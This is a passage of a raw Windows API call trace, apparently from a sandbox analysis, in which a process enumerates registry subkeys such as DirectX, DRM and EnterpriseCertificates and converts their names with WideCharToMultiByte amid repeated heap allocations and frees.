lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x35c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.256] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x35b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x35c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.256] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x35b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x35c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.256] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x35b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x35c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.256] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.257] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x35b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x35c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.257] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x35b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x35c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.257] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x35b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.257] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.257] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x35b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0229.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x35c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.258] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x35b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.258] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x35b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x35c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.258] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x35b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0229.258] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.258] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.259] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x35b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x35c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.259] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x35b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x35c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.259] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x35b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x35c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.259] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.259] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x35b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0229.259] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.260] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x35b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x35c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.260] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x35b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x35c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.260] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x35b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x35c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0229.260] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.260] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.260] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x35b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x35c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.261] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x35b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x35c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.261] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x35b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x35c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.261] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.261] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x35b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x35c0d8, cbMultiByte=8, 